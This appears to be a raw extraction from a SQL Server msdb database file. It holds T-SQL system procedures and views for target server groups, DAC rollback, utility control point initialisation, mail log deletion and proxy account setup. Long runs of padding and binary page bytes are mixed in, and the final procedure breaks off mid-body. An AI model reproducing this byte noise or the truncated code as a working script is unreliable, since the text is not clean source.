!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"`no<NyJ0֌  8CREATE PROCEDURE sp_add_targetservergroup
  @name sysname
AS
BEGIN
  SET NOCOUNT ON

  -- Only a sysadmin can do this
  IF (ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) <> 1) 
  BEGIN
    RAISERROR(15003, 16, 1, N'sysadmin')
    RETURN(1) -- Failure
  END

  -- Remove any leading/trailing spaces from parameters
  SELECT @name = LTRIM(RTRIM(@name))

  -- Check if the group already exists
  IF (EXISTS (SELECT *
              FROM msdb.dbo.systargetservergroups
              WHERE name = @name))
  BEGIN
    RAISERROR(14261, -1, -1, '@name', @name)
    RETURN(1) -- Failure
  END

  -- Disallow names with commas in them (since sp_apply_job_to_targets parses a comma-separated list of group names)
  IF (@name LIKE N'%,%')
  BEGIN
    RAISERROR(14289, -1, -1, '@name', ',')
    RETURN(1) -- Failure
  END

  INSERT INTO msdb.dbo.systargetservergroups (name)
  VALUES (@name)

  RETURN(@@error) -- 0 means success
END
0Ҭ  %8((0))0	K! %8((0))0k! 8CREATE PROCEDURE [dbo].[sp_sysdac_rollback_committed_step]  
    @action_id INT,
    @sequence_id INT
AS  
SET NOCOUNT ON;
BEGIN  
    DECLARE @retval INT  

    DECLARE @null_column sysname    
    SET @null_column = NULL

    IF (@action_id IS NULL)
        SET @null_column = '@action_id'
    ELSE IF (@sequence_id IS NULL)
        SET @null_column = '@sequence_id'

    IF @null_column IS NOT NULL
    BEGIN
        RAISERROR(14043, -1, -1, @null_column, 'sp_sysdac_rollback_committed_step')
        RETURN(1)
    END

    DECLARE @instance_id UNIQUEIDENTIFIER
    DECLARE @part_name NVARCHAR(128)
    DECLARE @action_type TINYINT
    DECLARE @dac_object_type TINYINT        
    DECLARE @action_status TINYINT
    DECLARE @dac_object_name_pretran SYSNAME
    DECLARE @dac_object_name_posttran SYSNAME
    DECLARE @sqlstatement NVARCHAR(1000)        

    SELECT @instance_id = instance_id, 
            @action_id = action_id, 
            @action_type = action_type, 
            @sequence_id = sequence_id,
            @dac_object_type = dac_object_type,
            @action_status = action_status, 
            @dac_object_name_pretran = dac_object_name_pretran, 
            @dac_object_name_posttran = dac_object_name_posttran
    FROM sysdac_history_internal
    WHERE action_id = @action_id AND sequence_id = @sequence_id
    
    --Below are the constants set based on history table    
    DECLARE @create TINYINT
    DECLARE @rename TINYINT
    DECLARE @register TINYINT
    DECLARE @database TINYINT
    DECLARE @rollback TINYINT
    DECLARE @rollback_pending TINYINT
    DECLARE @rollback_success TINYINT
    DECLARE @setreadonly TINYINT
    DECLARE @setreadwrite TINYINT

    SET @create = 1
    SET @rename = 2
    SET @register = 3
    SET @database = 2
    SET @rollback = 4
    SET @rollback_pending = 0
    SET @rollback_success = 1
    SET @setreadonly = 12
    SET @setreadwrite = 16
    
    IF @action_type = @create AND @dac_object_type = @database --database create
    BEGIN
        RAISERROR(N'%d, %d, %s', -1, 1, @sequence_id, @rollback_pending, NULL) WITH NOWAIT

        EXEC dbo.sp_sysdac_drop_database @database_name = @dac_object_name_pretran
        
        RAISERROR(N'%d, %d, %s', -1, 1, @sequence_id, @rollback_success, NULL) WITH NOWAIT
    END
    ELSE IF @action_type = @rename AND @dac_object_type = @database --database rename
    BEGIN
        RAISERROR(N'%d, %d, %s', -1, 1, @sequence_id, @rollback_pending, NULL) WITH NOWAIT

        EXEC dbo.sp_sysdac_rename_database @dac_object_name_posttran, @dac_object_name_pretran

        RAISERROR(N'%d, %d, %s', -1, 1, @sequence_id, @rollback_success, NULL) WITH NOWAIT
    END
    ELSE IF @action_type = @register --register DAC
    BEGIN
        SET @instance_id = (
            SELECT instance_id 
            FROM dbo.sysdac_instances_internal 
            WHERE instance_name = @dac_object_name_pretran)

        RAISERROR(N'%d, %d, %s', -1, 1, @sequence_id, @rollback_pending, NULL) WITH NOWAIT

        EXEC dbo.sp_sysdac_delete_instance @instance_id = @instance_id

        RAISERROR(N'%d, %d, %s', -1, 1, @sequence_id, @rollback_success, NULL) WITH NOWAIT
    END
    ELSE IF @action_type = @setreadonly  --readonly step
    BEGIN
        RAISERROR(N'%d, %d, %s', -1, 1, @sequence_id, @rollback_pending, NULL) WITH NOWAIT

        EXEC dbo.sp_sysdac_setreadonly_database @database_name = @dac_object_name_pretran, @readonly = 1

        RAISERROR(N'%d, %d, %s', -1, 1, @sequence_id, @rollback_success, NULL) WITH NOWAIT        
    END
    ELSE IF @action_type = @setreadwrite  --readonly step
    BEGIN
        RAISERROR(N'%d, %d, %s', -1, 1, @sequence_id, @rollback_pending, NULL) WITH NOWAIT

        EXEC dbo.sp_sysdac_setreadonly_database @database_name = @dac_object_name_pretran, @readonly = 0

        RAISERROR(N'%d, %d, %s', -1, 1, @sequence_id, @rollback_success, NULL) WITH NOWAIT        
    END
    
    --mark the entry as rolledback
    UPDATE sysdac_history_internal
    SET action_status = @rollback
    WHERE action_id = @action_id AND sequence_id = @sequence_id
    
    SELECT @retval = @@error
    RETURN(@retval)
END
0p6! 8
CREATE VIEW dbo.sysutility_ucp_policy_violations 
AS
    SELECT pv.health_policy_id
        , pv.policy_id
        , pv.policy_name
        , pv.history_id
        , pv.detail_id
        , pv.target_query_expression
        , pv.target_query_expression_with_id
        , pv.execution_date
        , pv.result
    FROM dbo.sysutility_ucp_policy_violations_internal pv
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!]E8`	<hOBX0`" 8CREATE PROCEDURE [dbo].[sp_sysdac_rollback_pending_object]  
    @action_id INT
AS  
SET NOCOUNT ON;
BEGIN  
    IF (@action_id IS NULL)
    BEGIN
        RAISERROR(14043, -1, -1, '@action_id', 'sp_sysdac_rollback_pending_object')
        RETURN(1)
    END

    DECLARE @sequence_id INT
    DECLARE @action_status TINYINT

    --Below are the constants set based on history table    
    DECLARE @header_id bit
    DECLARE @pending TINYINT
    DECLARE @success TINYINT
    DECLARE @true bit
    DECLARE @rollback TINYINT
    DECLARE @fail TINYINT
    DECLARE @rollback_failure TINYINT

    SET @header_id = 0
    SET @pending = 1
    SET @success = 2
    SET @true = 1
    SET @rollback = 4
    SET @fail = 3
    SET @rollback_failure = 2
    
    --if step 0 is not pending, exit
    IF ((SELECT action_status 
        FROM sysdac_history_internal 
        WHERE action_id = @action_id AND sequence_id = @header_id) != @pending)
        RETURN;

    
    --STEP 1. Resolve pending entry 
    SET @sequence_id = (SELECT TOP 1 sequence_id 
                        FROM sysdac_history_internal 
                        WHERE sequence_id != @header_id AND action_id = @action_id AND action_status = @pending)

    IF (@sequence_id IS NOT NULL)
        EXEC dbo.sp_sysdac_resolve_pending_entry @action_id = @action_id, @sequence_id = @sequence_id
    
    --check if all required steps are committed(success). If so, mark the action success and return!
    IF NOT EXISTS (SELECT 1
                    FROM sysdac_history_internal 
                    WHERE action_id = @action_id AND sequence_id != @header_id AND required = @true AND action_status != @success)
    BEGIN
        UPDATE dbo.sysdac_history_internal
        SET action_status = @success
        WHERE action_id = @action_id AND sequence_id = @header_id
    
        RETURN
    END
     
    BEGIN TRY
        
        --STEP 2. rollback commit entries
        WHILE EXISTS( SELECT 1 
                        FROM sysdac_history_internal 
                        WHERE action_status = @success AND action_id = @action_id AND sequence_id > 0)
        BEGIN
            SELECT TOP 1 @sequence_id = sequence_id,
                        @action_status = action_status
            FROM sysdac_history_internal
            WHERE action_status = @success AND action_id = @action_id AND sequence_id != @header_id
            ORDER BY sequence_id DESC

            EXEC dbo.sp_sysdac_rollback_committed_step @action_id = @action_id, @sequence_id = @sequence_id
            
        END

        --Mark the header entry as rolledback
        SET @action_status = @rollback    

    END TRY
    BEGIN CATCH
        DECLARE @error_message NVARCHAR(4000);
        
        SELECT @error_message = ERROR_MESSAGE()

        RAISERROR(N'%d, %d, %s', -1, 1, @sequence_id, @rollback_failure, @error_message) WITH NOWAIT

        --Mark the header entry as failed
        SET @action_status = @fail
    END CATCH

    --STEP 3. Mark the header entry with final action status
    UPDATE dbo.sysdac_history_internal
    SET action_status = @action_status
    WHERE action_id = @action_id AND sequence_id = @header_id    

END
0lu" 8CREATE PROCEDURE sp_delete_targetservergroup
  @name sysname
AS
BEGIN
  DECLARE @servergroup_id INT

  SET NOCOUNT ON

  -- Only a sysadmin can do this
  IF (ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) <> 1) 
  BEGIN
    RAISERROR(15003, 16, 1, N'sysadmin')
    RETURN(1) -- Failure
  END

  -- Remove any leading/trailing spaces from parameters
  SELECT @name = LTRIM(RTRIM(@name))

  -- Check if the group exists
  SELECT @servergroup_id = servergroup_id
  FROM msdb.dbo.systargetservergroups
  WHERE (name = @name)

  IF (@servergroup_id IS NULL)
  BEGIN
    RAISERROR(14262, -1, -1, '@name', @name)
    RETURN(1) -- Failure
  END

  -- Remove the group members
  DELETE FROM msdb.dbo.systargetservergroupmembers
  WHERE (servergroup_id = @servergroup_id)

  -- Remove the group
  DELETE FROM msdb.dbo.systargetservergroups
  WHERE (name = @name)

  RETURN(@@error) -- 0 means success
END
0" $8('')0'%" l8CREATE VIEW [dbo].[syscollector_collector_types]
AS
    SELECT 
        t.collector_type_uid,
        t.name,
        t.parameter_schema,
        t.parameter_formatter,
        s1.id AS collection_package_id,
        dbo.fn_syscollector_get_package_path(s1.id) AS collection_package_path,
        s1.name AS collection_package_name,
        s2.id AS upload_package_id,
        dbo.fn_syscollector_get_package_path(s2.id) AS upload_package_path,
        s2.name AS upload_package_name,
        t.is_system
    FROM 
        [dbo].[syscollector_collector_types_internal] AS t,
        sysssispackages s1,
        sysssispackages s2
    WHERE t.collection_package_folderid = s1.folderid
      AND t.collection_package_name = s1.name
      AND t.upload_package_folderid = s2.folderid
      AND t.upload_package_name = s2.name
0Q/" C8(isnull(nt_client(),suser_sname()))0{94# /8(suser_sname())05T# 8CREATE PROCEDURE [dbo].[sp_sysdac_rollback_all_pending_objects] (@return_scripts TINYINT = 0)
AS  
SET NOCOUNT ON;
BEGIN  
    DECLARE @action_id INT
    DECLARE @sequence_id INT

    --Below are the constants set based on history table    
    DECLARE @header_id bit
    DECLARE @pending TINYINT

    SET @header_id = 0
    SET @pending = 1
    
    CREATE TABLE #additional_scripts(databasename sysname, sqlscript VARCHAR(MAX))
    
    WHILE EXISTS (SELECT 1 FROM sysdac_history_internal WHERE sequence_id = @header_id AND action_status = @pending)
    BEGIN
        SET @action_id = (SELECT TOP 1 action_id FROM sysdac_history_internal WHERE sequence_id = @header_id AND action_status = @pending)

        INSERT INTO #additional_scripts
        EXEC dbo.sp_sysdac_rollback_pending_object @action_id = @action_id
    END
    
    IF (@return_scripts = 1)
    BEGIN
        SELECT databasename, sqlscript FROM #additional_scripts
    END
END
0*# a8CREATE FUNCTION dbo.fn_encode_sqlname_for_powershell
(
	@sql_name SYSNAME
)
RETURNS SYSNAME
AS
BEGIN
	DECLARE @encoded_name SYSNAME = @sql_name

	SET @encoded_name = REPLACE(@encoded_name, N'%', N'%25')
	SET @encoded_name = REPLACE(@encoded_name, N'\', N'%5C')
	SET @encoded_name = REPLACE(@encoded_name, N'/', N'%2F')
	SET @encoded_name = REPLACE(@encoded_name, N':', N'%3A')
	SET @encoded_name = REPLACE(@encoded_name, N'<', N'%3C')
	SET @encoded_name = REPLACE(@encoded_name, N'>', N'%3E')
	SET @encoded_name = REPLACE(@encoded_name, N'*', N'%2A')
	SET @encoded_name = REPLACE(@encoded_name, N'?', N'%3F')
	SET @encoded_name = REPLACE(@encoded_name, N'[', N'%5B')
	SET @encoded_name = REPLACE(@encoded_name, N']', N'%5D')
	SET @encoded_name = REPLACE(@encoded_name, N'|', N'%7C')

	RETURN @encoded_name
END
0 " 88+w!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!N!=
`+<=L\Jy0= 8 
CREATE PROCEDURE [dbo].[sp_sysutility_ucp_initialize_mdw]
   @mdw_database_name   SYSNAME, 
   @require_mdw         BIT = 1, 
   @force_stub_use      BIT = 0, 
   @refresh_views       BIT = 1
WITH EXECUTE AS OWNER
AS
BEGIN

   -- Check if @mdw_database_name is NULL or empty
   IF (@mdw_database_name IS NULL OR @mdw_database_name = N'')
   BEGIN
       RAISERROR(14043, -1, -1, 'mdw_database_name', 'sp_sysutility_ucp_initialize_mdw')
       RETURN(1)
   END


   IF (@require_mdw = 1) AND NOT EXISTS (SELECT * FROM master.dbo.sysdatabases WHERE name = @mdw_database_name)
   BEGIN
        RAISERROR(37002, -1, -1, @mdw_database_name)
        RETURN(1)
   END

   DECLARE @database sysname;
   DECLARE @schema sysname;
   DECLARE @is_ucp bit;

   -- If the sysutility_mdw database has been installed and the instance appears to be a UCP, we should 
   -- point the synonyms at the MDW objects.  Otherwise, the synonyms should reference the stub objects 
   -- (with a "_stub" suffix) that we just created.  Note that during UCP creation, this proc is called 
   -- at an interim step before fn_sysutility_get_is_instance_ucp returns 1.  However, @require_mdw will 
   -- be set to 1 in this case, telling us that we should redirect the synonyms to the MDW db even though . 
   -- the instance is not (yet) completely set up as a UCP. 
   IF (DB_ID (@mdw_database_name) IS NOT NULL) 
      AND ((@require_mdw = 1) OR (dbo.fn_sysutility_get_is_instance_ucp() = 1))
      AND (@force_stub_use = 0)
   BEGIN
       -- This instance is a UCP; synonyms should reference objects in sysutility_mdw
       SET @database = @mdw_database_name;
       SET @schema = 'sysutility_ucp_core';
      
       -- Dimensions
       EXEC dbo.sp_sysutility_ucp_recreate_synonym_internal N'syn_sysutility_ucp_computers', @database, @schema, 'latest_computers';
       EXEC dbo.sp_sysutility_ucp_recreate_synonym_internal N'syn_sysutility_ucp_volumes', @database, @schema, 'latest_volumes';
       EXEC dbo.sp_sysutility_ucp_recreate_synonym_internal N'syn_sysutility_ucp_dacs', @database, @schema, 'latest_dacs';	   
       EXEC dbo.sp_sysutility_ucp_recreate_synonym_internal N'syn_sysutility_ucp_smo_servers', @database, @schema, 'latest_smo_servers';
       EXEC dbo.sp_sysutility_ucp_recreate_synonym_internal N'syn_sysutility_ucp_databases', @database, @schema, 'latest_databases';
       EXEC dbo.sp_sysutility_ucp_recreate_synonym_internal N'syn_sysutility_ucp_filegroups', @database, @schema, 'latest_filegroups';
       EXEC dbo.sp_sysutility_ucp_recreate_synonym_internal N'syn_sysutility_ucp_datafiles', @database, @schema, 'latest_datafiles';
       EXEC dbo.sp_sysutility_ucp_recreate_synonym_internal N'syn_sysutility_ucp_logfiles', @database, @schema, 'latest_logfiles';

       -- Measures
       EXEC dbo.sp_sysutility_ucp_recreate_synonym_internal N'syn_sysutility_ucp_cpu_utilization', @database, @schema, 'cpu_utilization';
       EXEC dbo.sp_sysutility_ucp_recreate_synonym_internal N'syn_sysutility_ucp_space_utilization', @database, @schema, 'space_utilization';

      -- Now that msdb is set up, call a setup proc in MDW to do any runtime initialization that is 
      -- needed in that database.  Only exec the proc if it exists -- it won't exist yet when instmsdb.sql 
      -- is run on upgrade from CTP3 to RTM, because the MDW initialization proc was added post-CTP3 and 
      -- upgrade executes instmsdb.sql prior to instmdw.sql.  This proc will be re-executed by the post-upgrade 
      -- script post_upgrade_ucp_cmdw.sql, and at that time the MDW proc will have been created. 
      DECLARE @sql nvarchar(max);
      DECLARE @mdw_proc_name nvarchar(max);
      SET @mdw_proc_name = QUOTENAME(@mdw_database_name) + '.sysutility_ucp_core.sp_initialize_mdw_internal';
      SET @sql = 'EXEC ' + @mdw_proc_name;
      IF OBJECT_ID (@mdw_proc_name) IS NOT NULL 
      BEGIN
         RAISERROR ('Executing %s', 0, 1, @mdw_proc_name) WITH NOWAIT;
         EXEC (@sql);
      END
      ELSE BEGIN
         RAISERROR ('Skipping execution of %s', 0, 1, @mdw_proc_name) WITH NOWAIT;
      END;
                 
   END
   ELSE BEGIN
       -- This instance is not a UCP; synonyms should reference msdb stub objects
       SET @database = 'msdb';
       SET @schema = 'dbo';
               
       -- Dimensions
       EXEC dbo.sp_sysutility_ucp_recreate_synonym_internal N'syn_sysutility_ucp_computers', @database, @schema, 'sysutility_ucp_computers_stub';
       EXEC dbo.sp_sysutility_ucp_recreate_synonym_internal N'syn_sysutility_ucp_volumes', @database, @schema, 'sysutility_ucp_volumes_stub';
       EXEC dbo.sp_sysutility_ucp_recreate_synonym_internal N'syn_sysutility_ucp_dacs', @database, @schema, 'sysutility_ucp_dacs_stub';
       
       EXEC dbo.sp_sysutility_ucp_recreate_synonym_internal N'syn_sysutility_ucp_smo_servers', @database, @schema, 'sysutility_ucp_smo_servers_stub';
       EXEC dbo.sp_sysutility_ucp_recreate_synonym_internal N'syn_sysutility_ucp_databases', @database, @schema, 'sysutility_ucp_databases_stub';
       EXEC dbo.sp_sysutility_ucp_recreate_synonym_internal N'syn_sysutility_ucp_filegroups', @database, @schema, 'sysutility_ucp_filegroups_stub';
       EXEC dbo.sp_sysutility_ucp_recreate_synonym_internal N'syn_sysutility_ucp_datafiles', @database, @schema, 'sysutility_ucp_datafiles_stub';
       EXEC dbo.sp_sysutility_ucp_recreate_synonym_internal N'syn_sysutility_ucp_logfiles', @database, @schema, 'sysutility_ucp_logfiles_stub';
       
       -- Measures
       EXEC dbo.sp_sysutility_ucp_recreate_synonym_internal N'syn_sysutility_ucp_cpu_utilization', @database, @schema, 'sysutility_ucp_cpu_utilization_stub';
       EXEC dbo.sp_sysutility_ucp_recreate_synonym_internal N'syn_sysutility_ucp_space_utilization', @database, @schema, 'sysutility_ucp_space_utilization_stub';		   
                   
   END;

   IF (@refresh_views = 1)
   BEGIN
       -- Refresh the msdb wrapper views to ensure that the view metadata matches the underlying table metadata. 
       -- This is necessary for two reasons: 
       --  a) When this procecure is executed by the Create UCP process, it may change the structure of the tables 
       --     that the msdb wrapper views reference, by redirecting the synonyms from the msdb stub tables to 
       --     different tables in MDW.  The refresh ensures that the view metadata matches that of the new 
       --     referenced tables. 
       --  b) The proc is also executed after msdb and MDW schema upgrade.  In this case, the MDW upgrade may have 
       --     changed the MDW table schema even if the synonyms weren't redirected.  
       RAISERROR ('Refreshing msdb wrapper views', 0, 1) WITH NOWAIT;
       EXEC dbo.sp_refreshview N'dbo.sysutility_ucp_computers';
       EXEC dbo.sp_refreshview N'dbo.sysutility_ucp_volumes';
       EXEC dbo.sp_refreshview N'dbo.sysutility_ucp_instances';
       EXEC dbo.sp_refreshview N'dbo.sysutility_ucp_databases';
       EXEC dbo.sp_refreshview N'dbo.sysutility_ucp_filegroups';
       EXEC dbo.sp_refreshview N'dbo.sysutility_ucp_datafiles';
       EXEC dbo.sp_refreshview N'dbo.sysutility_ucp_logfiles';
       EXEC dbo.sp_refreshview N'dbo.sysutility_ucp_utility_space_utilization';
   END;
END;
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`VM<YH1i70qG 8CREATE PROCEDURE sysmail_delete_log_sp
   @logged_before DATETIME   = NULL, 
   @event_type varchar(15)   = NULL
AS
BEGIN

   SET @event_type       = LTRIM(RTRIM(@event_type))
   IF @event_type        = '' SET @event_type = NULL
   DECLARE @event_type_numeric INT

   IF ( (@event_type IS NOT NULL) AND
         (LOWER(@event_type collate SQL_Latin1_General_CP1_CS_AS) NOT IN ( 'success', 'warning', 'error', 'information' ) ) )
   BEGIN
        RAISERROR(14266, -1, -1, '@event_type', 'success, warning, error, information')
      RETURN(1) -- Failure
   END   
   
   IF ( @event_type IS NOT NULL)
   BEGIN
      SET @event_type_numeric = ( SELECT CASE 
                           WHEN @event_type = 'success' THEN 0
                           WHEN @event_type = 'information' THEN 1
                           WHEN @event_type = 'warning' THEN 2
                           ELSE 3 END 
                        )
   END
   ELSE
      SET @event_type_numeric = NULL

   DELETE FROM msdb.dbo.sysmail_log 
   WHERE 
        ((@logged_before IS NULL) OR ( log_date < @logged_before))
   AND ((@event_type_numeric IS NULL) OR (@event_type_numeric = event_type))
END
0G@ -8

CREATE PROCEDURE [dbo].[sp_sysutility_mi_configure_proxy_account]
   @proxy_name sysname,
   @credential_name sysname,
   @network_account sysname,
   @password sysname
AS
BEGIN
   DECLARE @retval INT
   DECLARE @null_column    sysname
   DECLARE @expression NVARCHAR(MAX) = N''
   DECLARE @network_account_sid varbinary(85)
   
   SET @null_column = NULL

   IF (@proxy_name IS NULL OR @proxy_name = N'')
       SET @null_column = '@proxy_name'
   ELSE IF (@credential_name IS NULL OR @credential_name = N'')
       SET @null_column = '@credential_name'
   ELSE IF (@network_account IS NULL OR @network_account = N'')
       SET @null_column = '@network_account'
   ELSE IF (@password IS NULL OR @password = N'')
       SET @null_column = '@password'

   IF @null_column IS NOT NULL
   BEGIN
       RAISERROR(14043, -1, -1, @null_column, 'sp_sysutility_mi_configure_proxy_account')
       RETURN(1)
   END

   SET @network_account_sid = SUSER_SID(@network_account, 0) -- case insensensitive lookup
   SET @network_account = SUSER_SNAME(@network_account_sid)  -- get the caseing of the user that the server recognizes
   IF NOT EXISTS (SELECT sid FROM msdb.sys.syslogins WHERE sid = @network_account_sid)
   BEGIN
        SET @expression = N'CREATE LOGIN '+ QUOTENAME(@network_account) +' FROM WINDOWS;'
        EXEC sp_executesql @expression
   END 
   
   DECLARE @create_credential nvarchar(4000)
   DECLARE @print_credential nvarchar(4000)
   
   IF EXISTS(SELECT * FROM master.sys.credentials WHERE name = @credential_name)
   BEGIN
      set @create_credential = 'DROP CREDENTIAL ' + QUOTENAME(@credential_name)
      RAISERROR (@create_credential, 0, 1) WITH NOWAIT;
